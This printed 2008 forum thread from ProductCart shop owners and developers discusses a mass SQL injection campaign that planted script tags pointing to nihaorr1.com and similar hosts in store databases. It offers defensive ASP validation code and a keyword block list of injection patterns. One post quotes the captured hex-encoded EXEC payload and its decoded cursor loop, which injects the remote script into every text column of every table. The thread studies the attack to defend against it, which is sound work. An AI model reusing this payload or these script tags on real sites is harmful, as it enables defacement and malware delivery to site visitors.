Database Breach
Printed From: ProductCart E-Commerce Solutions
Category: ProductCart
Forum Name: Using ProductCart
Forum Description: Running your store with ProductCart
URL: https://forum.productcart.com/forum_posts.asp?TID=1547
Printed Date: 27-November-2024 at 2:04pm Software Version: Web Wiz Forums 12.04 - http://www.webwizforums.com
Topic: Database Breach
Posted By: kimmyecoist
Subject: Database Breach
Date Posted: 18-April-2008 at 11:53am
Our site has been down due to a database breach from an unknown .js code
and site. Nihaorr1.js
Is there any patch or solution for this security breach?
We're running version 3.03.
Is anyone else have affected databases?
|
Replies:
Posted By: Hamish
Date Posted: 18-April-2008 at 12:00pm
Do you have any info on how the hack was achieved? If you find/suspect it's an issue with PC then please raise a support request to EA at the earliest opportunity - I know they are keen to keep their product & users safe.
Best of luck with the recovery of your site. I would recommend upgrading soon after to the latest release.
|
Posted By: ProductCart
Date Posted: 18-April-2008 at 12:10pm
Definitely open a support ticket so that we can learn more about this.
We have no reports of any security issues of any kind. As you know, ProductCart-powered stores pass HackerSafe tests, which is a good indication of an application that protects you from know security concerns such as SQL injections.
For more information: http://www.earlyimpact.com/productcart/scanalert/hackersafe.asp - HackerSafe (now McAfee Secure)
------------- The ProductCart Team
Home of ProductCart http://www.productcart.com" rel="nofollow - shopping cart software
|
Posted By: Hamish
Date Posted: 18-April-2008 at 12:15pm
I Googled it - looks like an SQL injection attack :
<snip>Our initial investigations are pointing at an attack through IIS using ASP in an overload. whois lookup showing nihaorr1 registered via Chinese registrar xinnet.com
I used the safety of a VM to look under the hood at the operations of the 1.js file. It writes several iframes to that seem to come up as page not found (Chinese language pack) A
look at the script is bit confusing and garbled (of course) but
consistent reference is made to "cuteqq" as a variable and variable
prefix. It creates an executable I have yet to determine its intent or
impact. Googling "cuteqq" pulls up all sorts of harmful flagged pages. Anyone have any insight on that? </snip>
|
Posted By: kimmyecoist
Date Posted: 18-April-2008 at 12:19pm
I'm opening a ticket currently.
The effect of the script on our site causes our images to not show up,
certain pages to not work, and unable to log into ProductCart admin.
We are working with the Host currently to restore to a backup of a clean DB.
|
Posted By: Greg Dinger
Date Posted: 18-April-2008 at 12:21pm
It used to be that "sql injection" was all the rage. In recent months an attack method called "cross site scripting" has become ever so popular and is deadly. The level of hack attempts has become intense and strong protective measures are necessary.
ProductCart has strong security measures but many sites have other software, such as FAQ tools, news tools, and the like built into them. Any of those secondary applications may be vulnerable to security threats.
As a general warning to the entire PC community: If you have added other scripts to your site, you would be well-advised to engage the services of a professional programmer to review your site and examine such applications for security threats. It's worth a couple hours of someone's time to poke around instead of running the risk that some day you have to confront the fact you have been hacked.
Here is an e-mail I received from a fellow-developer yesterday, which he had just received from a client. Don't be the next site to get hacked. Protect yourselves!
“This past weekend it would appear our database was compromised somehow and it pasted this script into every item we have and just totally deleted all the item descriptions. I have contacted the site host and they did a database restore and everything was fine. Now today I see that same script has been paste to our “add to cart” button and not allowing customers to purchase item.
Here is the script: <script sr<script src=http://www.nihaorr1.com/1.js></script>”
BTW, I should note that the above customer does NOT use PC. They use a different cart...
------------- GreyBeard Design Group
Certified ProductCart Developer
Web Design/Development/Hosting
http://tinyurl.com/5c8t4t" rel="nofollow - Add-Ons & Custom Code |
|
Posted By: kimmyecoist
Date Posted: 18-April-2008 at 12:38pm
Greg, that is what has happened to us.
Can you please advise on what to do? Our programmers are looking for us
to see what patches ProductCart offers in order to update our code.
|
Posted By: katharina
Date Posted: 18-April-2008 at 12:38pm
Thank you all for the alert. It does have a function when something like this gets posted into the forum. I agree that a trouble ticket has to be raised, yet at the same time it is good to have some sort of warning. This may not effect all of us and it may be only a one incident and perhaps was caused by some other application running in conjunction with PC. I want to be safe until we really know what has been going on.
I've taken the following actions as a precaution: 1. I did back up the store database. 2. I did purge all credit cards. I will do both actions daily until we have this possible thread resolved.
Again thanks for the heads up, Katharina
|
Posted By: Greg Dinger
Date Posted: 18-April-2008 at 12:50pm
Kimmy - Now that your site is back up, I do see that you have a dealer locator page on your site, and that it uses a database. That may very well be the page that was vulnerable to cross site scripting, which based on your reference to "Nihaorr1.js" which matches the customer report I posted, so I do believe that you got nailed by an XSS attack.
------------- GreyBeard Design Group
Certified ProductCart Developer
Web Design/Development/Hosting
http://tinyurl.com/5c8t4t" rel="nofollow - Add-Ons & Custom Code |
|
Posted By: Greg Dinger
Date Posted: 18-April-2008 at 1:01pm
Kimmy - your question arrived while I was posting the other response.
What has to happen is that you have to examine the values that are being passed from page to page. Someone may have different ideas about how to address this, but here is an example of what I implement for pages that pass a numeric id for a category. Essentially, if the required category is not provided, I set a fail code. If the passed value is not a number, I set a fail code. And when the fail code is set, then I gracefully display a "invalid entry" message and kill the page. The threat ends there. (If others have alternative approaches, PLEASE let us know.)
<% catid = getUserInput(Request.QueryString("catid"),0) badcat = "0" if trim(catid) = "" then badcat = "1" if IsNumeric(trim(catid)) = "False" then badcat = "1" if badcat = "1" then
%> <div class="bodytext"> <br /><br /><br />Sorry - insufficient data to process request<br /><br /><br /> </div> <!--#include virtual="/gallery/includes/footer.asp"--> <!--#include virtual="/includes/footer.asp"--> </body> </html> <% response.end end if %>
Now in your case, you are passing 2-digit alpha state codes. If that is the only legitimate value, then you can use ASP string commands to trim that value to a 2-digit length. By doing that, if the hacker placed additional characters into the querystring, they are chopped off and rendered harmless.
I have another mechanism that I use. It is a script that is installed in the site, replaces the IIS 500-100 error, and sends the site owner or host (me) an e-mail when a page in the site crashes. It tends to not be effective for the PC section of the site because EI has their own error handling. But for other pages, I have found this an essential tool in my defensive measures. I know every time a script chokes and can frequently tell that the reason for the page crashing was a hack attempt.
Again, if anyone has alternatives they consider stronger or more effective, please speak up. The barrage of hack attempts these days seems endless and I take these threats very seriously.
------------- GreyBeard Design Group
Certified ProductCart Developer
Web Design/Development/Hosting
http://tinyurl.com/5c8t4t" rel="nofollow - Add-Ons & Custom Code |
|
Posted By: ProductCart
Date Posted: 18-April-2008 at 1:05pm
As Greg indicated, this might not be a ProductCart issue.
Still, if you are using version 3.03, then you are using a version of ProductCart that is somewhat outdated.
If you cannot update (free updates) to the latest version, you should apply any security patches posted to the Support Center, when available. http://www.earlyimpact.com/productcart/support/archive.asp#3 - Some were posted over the last year or so
The latest patches are always available in the " http://www.earlyimpact.com/productcart/support/#updates - Just In " section. For older files, click on the "Find updates for previous versions" link.
------------- The ProductCart Team
Home of ProductCart http://www.productcart.com" rel="nofollow - shopping cart software
|
Posted By: nhertz
Date Posted: 20-April-2008 at 8:34pm
I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com
My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.
The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.
To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no. The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page. No forms or update statements existed on the pages from where the injection was entering. However, the command being executed is fairly complex in itself.
I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again. You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:
Create an include file with something like this:
<% if instr(lcase(sql),";--")>0 then response.redirect("index.asp") end if
if instr(lcase(sql),"nvarchar")>0 then response.redirect("index.asp") end if %>
Call it, forexample, Validator.asp and put it right before your select statements are executed:
<!--#include file="validator.asp"--> rs.Open sql
This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.
Ofcourse you have to discover which pages are being used to inject this code. Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.
Is there a tool or a mechanism to find it? The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler. Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:
SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020 004600450054004300480020004E00450058005400
2000460052004F004D00200020005400610062006C0065005F0043007500 720073006F007200200049004E0054004F002000400
054002C0040004300200057280076006100720063006800610072002C005 B0027002B00400043002B0027005D00290029002B00
270027003C0073006300720069007000740020007300720063003D006800 7400740070003A002F002F007700770077002E006E0
06900680061006F00720010062006C0065005F0043007500720073006F00 7200 AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC
Once you run the statement through the descrypter you'll get something like this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed. You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.
This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights. I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible. These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.
Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.
Feel free to contact me and I'll do my best to get back to you.
Regards,
Nicolai Hertz Software Programmer
|
Posted By: Hamish
Date Posted: 20-April-2008 at 9:32pm
Hi Nicolai and thanks for the post - V interesting. It's always useful to learn anything that bolsters site security.
|
Posted By: Greg Dinger
Date Posted: 20-April-2008 at 9:46pm
<<<The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.>>>
Well, I think that's a bit of a stretch. I track this fairly closely and while there is a very heavy level of traffic from China, I see it coming from all over the place including Turkey, Ukraine and many other nations. There are hack teams who do so in order to protest US foreign policy issues, the specifics of which I'm well aware but will leave that for discussion off this board, and there are also those who hack for the purpose of introducing links to sites (for example porn) in order to gain higher link popularity. I have seen and dealt with both.
And I also think the idea of simply scanning query strings for "--" and "nvarchar" seems a bit incomplete. A script we use to scan for SQL injection threats includes the following:
Case InStr(1, strToCheck, "@@version") > 1: blnMatch = True
Case InStr(1, strToCheck, " and 1=1") > 1: blnMatch = True
Case InStr(1, strToCheck, " and 1=2") > 1: blnMatch = True
Case InStr(1, strToCheck, " and user") > 1: blnMatch = True
Case InStr(1, strToCheck, " char ") > 1: blnMatch = True
Case InStr(1, strToCheck, " user ") > 1: blnMatch = True
Case InStr(1, strToCheck, " version") > 1: blnMatch = True
Case InStr(1, strToCheck, "+char+") > 1: blnMatch = True
Case InStr(1, strToCheck, " sysobjects") > 1: blnMatch = True
Case InStr(1, strToCheck, "+user+") > 1: blnMatch = True
Case InStr(1, strToCheck, "1=1") > 1: blnMatch = True
Case InStr(1, strToCheck, "1=2") > 1: blnMatch = True
Case InStr(1, strToCheck, "char(124)") > 1: blnMatch = True
Case InStr(1, strToCheck, "convert(int") > 1: blnMatch = True
Case InStr(1, strToCheck, "convert(varchar") > 1: blnMatch = True
Case InStr(1, strToCheck, "declare+@") > 1: blnMatch = True
Case InStr(1, strToCheck, "declare @") > 1: blnMatch = True
Case InStr(1, strToCheck, "exec(") > 1: blnMatch = True
Case InStr(1, strToCheck, "having 1=1--") > 1: blnMatch = True
Case InStr(1, strToCheck, "having 1=1--") > 1: blnMatch = True
Case InStr(1, strToCheck, "is_srvrolemember") > 1: blnMatch = True
Case InStr(1, strToCheck, "sysadmin") > 1: blnMatch = True
Case InStr(1, strToCheck, "union") > 1: blnMatch = True
Case InStr(1, strToCheck, "waitfor delay") > 1: blnMatch = True
------------- GreyBeard Design Group
Certified ProductCart Developer
Web Design/Development/Hosting
http://tinyurl.com/5c8t4t" rel="nofollow - Add-Ons & Custom Code |
|
Posted By: nhertz
Date Posted: 21-April-2008 at 4:18am
Greg, I certainly didn't want to turn this issue into something political either, but I do want to insist once again: My intention is to be very focused on this SPECIFIC attack taking place since I'm seeing more and more discussion boards using this incident to talk openly about SQL injection in general and recommending antivirus products and expensive exploit scanners which, I insist, can do very little. Adding the include file to avoid query strings containing "--" and "nvarchar" is definitely not a "complete solution" but neither is your longer script.. The better solution is to used stored procedures and not execute SQL commands directly on the ASP pages.. However, as mentioned in my previous post, the idea is block out this specific attack as soon as possible while webmasters go about strengthening their code (which can take many days). Blocking "--" and "nvarchar" will keep out this repeating attack and that is why I don't post more lines of code and nifty script. I want to focus on this issue and I'm seeing very few solutions being posted around the web. I think it would be more helpful if the people with direct experience in treating this incident would post specific solutions.
Regards,
Nicolai Hertz Software Programmer
|
Posted By: ProductCart
Date Posted: 21-April-2008 at 5:15am
ProductCart of course includes functions that clean query strings and validate their content before being used in any SQL query, including the "getUserInput" and "validNum" functions contained in "includes/stringfunctions.asp".
Once again:
- The current version of ProductCart (3.11) passes all HackerSafe tests successfully. Most of these tests are indeed focused on preventing SQL injections.
- We have no reports of any open vulnerability.
- We have no reports of any security breaches.
- We have always reacted and will always react as promptly as possible to address any new vulnerability report, should new ones arise.
A clarification on the posts above: Mr. Hertz posted without contacting Early Impact to obtain more information on how ProductCart handles SQL injection threats, and clearly is not familiar with the ProductCart source code, including the functions mentioned above.
We do recommend that a respectable security scanning system such as HackerSafe is used to ensure that an entire Web property (not just the e-commerce store portion of it) is constantly checked for possible vulnerabilities. This is especially true if your Web site contains other applications beyond ProductCart (or custom code you have written), as those applications could contain unsafe code that we cannot be aware of.
We have used HackerSafe ourselves for quite some time and we have seen it find legitimate security issues that we immediately fixed (typically within hours of the findings). Therefore, we consider it a useful tool and it has helped make ProductCart an even more secure application.
Note: HackerSafe is the only security scanning system that we have direct experience with. We can only talk about what we know. However, a competing system by Comodo, called http://www.hackerguardian.com/ - HackerGuardian , is considerably cheaper than HackerSafe. We don't have direct experience using HackerGuardian and were not able to find a comparison between the two on the Internet (if you find it, let us know).
------------- The ProductCart Team
Home of ProductCart http://www.productcart.com" rel="nofollow - shopping cart software
|
Posted By: nhertz
Date Posted: 21-April-2008 at 8:50am
Let me just clarify that I was not referring to Early Impact software in any of my posts. It was my bad for not being more specific! You are right that I am not familiar with the source code behind your software and therefore I cannot argue for or against it. I was referring to posts in forums around the web making reference to antivirus products from companies like Symantec, Bit defender, Sophos etc.. I don't want to criticise these products in any way, I'm just leaving clear that standard antivirus or firewall software is not going to help you on this one.
Regards,
Nicolai Hertz Software Programmer
|
Posted By: Hamish
Date Posted: 21-April-2008 at 11:09am
Nicolai, I, and I'm sure many others, appreciate being well informed by people who properly understand these things. So - Thanks & kudos to you & Greg for helping build awareness & , of course, thanks to EA for building a great product that keeps up to date with security.
Situtions like this just remind us all how important keeping security up to date - part of which is keeping pretty close to current on software releases.
|
Posted By: Greg Dinger
Date Posted: 23-April-2008 at 1:46pm
This was just forwarded to me. I see a familiar domain name (nihaorr1) listed in there: http://securitylabs.websense.com/content/Alerts/3070.aspx - http://securitylabs.websense.com/content/Alerts/3070.aspx
------------- GreyBeard Design Group
Certified ProductCart Developer
Web Design/Development/Hosting
http://tinyurl.com/5c8t4t" rel="nofollow - Add-Ons & Custom Code |
|
Posted By: retreat987
Date Posted: 18-May-2008 at 6:24pm
I, unfortunately, was recently hit by an SQL injection attack. It revealed several problems with our database backups; The attack overwrote a lot of fields throughout the database, and the backup saved those changes. The attack happened over a weekend, and by the time we noticed it Monday morning, the backup had taken effect, overwriting the last good backup we had.
I use ProductCart (with the latest version), and am not sure how the attacker was able to do their thing. The inserted this line into most every field in the database:
<scrript src="http://winzipices.cn/4.js"></scrript>
(Typos in "script" are intentional, just in case).
I'm not sure how best to keep them from doing it again. I've been reading everyone's posts, and will try one of the Hacker prevention tools listed, and hope that is enough.
My initial solution was to block all outside traffic to the site, while I tried to remove all instances of the script from the database. I'm still trying to re-create all the products, which is taking some time as they all have a lot of options and thus sub products.
Currently I've just changed the url for the product cart software (scart/pc, rather than cart/pc) and set up a simple landing page (www.DandDToys.com) for users (we have a brick and mortar store, and process all our orders through product cart, so I can't simply close the store).
Any additional tips would be appreciated.
Thanks,
Dan
|
Posted By: ProductCart
Date Posted: 18-May-2008 at 7:35pm
Hi Dan,
Could you clarify which version of ProductCart you were using at the time the SQL injection attack occurred, and whether any custom forms (or customized ProductCart pages) were used on the Web site?
Also, if you haven't already done so, certainly submit a support ticket.
------------- The ProductCart Team
Home of ProductCart http://www.productcart.com" rel="nofollow - shopping cart software
|
Posted By: Greg Dinger
Date Posted: 18-May-2008 at 8:20pm
I think another question to be asked is if there were any non-ProductCart scripts in use. The original poster of this thread got nailed through a vendor page, and not as a result of any ProductCart vulnerability. Might that be what happened here?
And why only one day's backup? Does your host not provide a deeper backup than the most recent day? What database are you running?
------------- GreyBeard Design Group
Certified ProductCart Developer
Web Design/Development/Hosting
http://tinyurl.com/5c8t4t" rel="nofollow - Add-Ons & Custom Code |
|
Posted By: Hamish
Date Posted: 21-May-2008 at 1:19pm
Hi, I've seen the email referring to SQL injection attacks and that isNumeric should not be used in custom forms. I did a quick scan of the souce code and see about 50 files in the pc directory that contain isNumeric. We are running V3.11 and the email says all versions after 2.7 should be OK. Am I correct in presuming then, that the specific uses of isNumeric that remain are fine?
|
Posted By: ProductCart
Date Posted: 21-May-2008 at 1:45pm
Yes, that is correct. validNum cannot be used on numbers that are not integers. Those numbers are NEVER used in a query as an ID (e.g. a product or category ID is always an integer).
We will send out a new update in the next couple of hours. We believe we have found and fixed the vulnerability. We are just doing some final testing.
------------- The ProductCart Team
Home of ProductCart http://www.productcart.com" rel="nofollow - shopping cart software
|
Posted By: Hamish
Date Posted: 21-May-2008 at 3:05pm
Ok - Thanks, that's great :-)
|
Posted By: MarkCoyle
Date Posted: 16-June-2008 at 6:24am
Hi all
I have just been attacked with a database SQL insert overnight.
This time it was: <scrrrript src=http://www.jumpbnr.com/b.js></scrrrrript>
(misspelling of script is deliberate above to avoid any issues).
It's a very similar situation to everyone else with an issue though as you can see to a different site.
Early Impact have been helpful and I have been able to remove it using the SQL insert query they provide. However it also removed all flash media players from the site too so I'm going back to Friday's backup and having that restored.
As these types of hacks seem to be on the rise here were the symptoms I discovered when viewing the site this morning in case anyone else is hit: 1. No product cart images were showing up with just the URLs to the images showing. 2. When the site was loading if I looked at the status bar I could see mention of the jumpbnr.com site which of course shouldn't be there.
I then went to look via MySQL admin and found the string I mentioned with the script inserted into each field.
I thought I was patched already but have reapplied it via FTP just in case.
I will also be investigating HackerSafe as soon as things are back.
Any tips, experiences and thoughts welcome. As a user community we need to keep on top of this and track all the variants so that each of us is fully aware and can provide the latest advice.
Many kind thanks
cheers Mark
|
|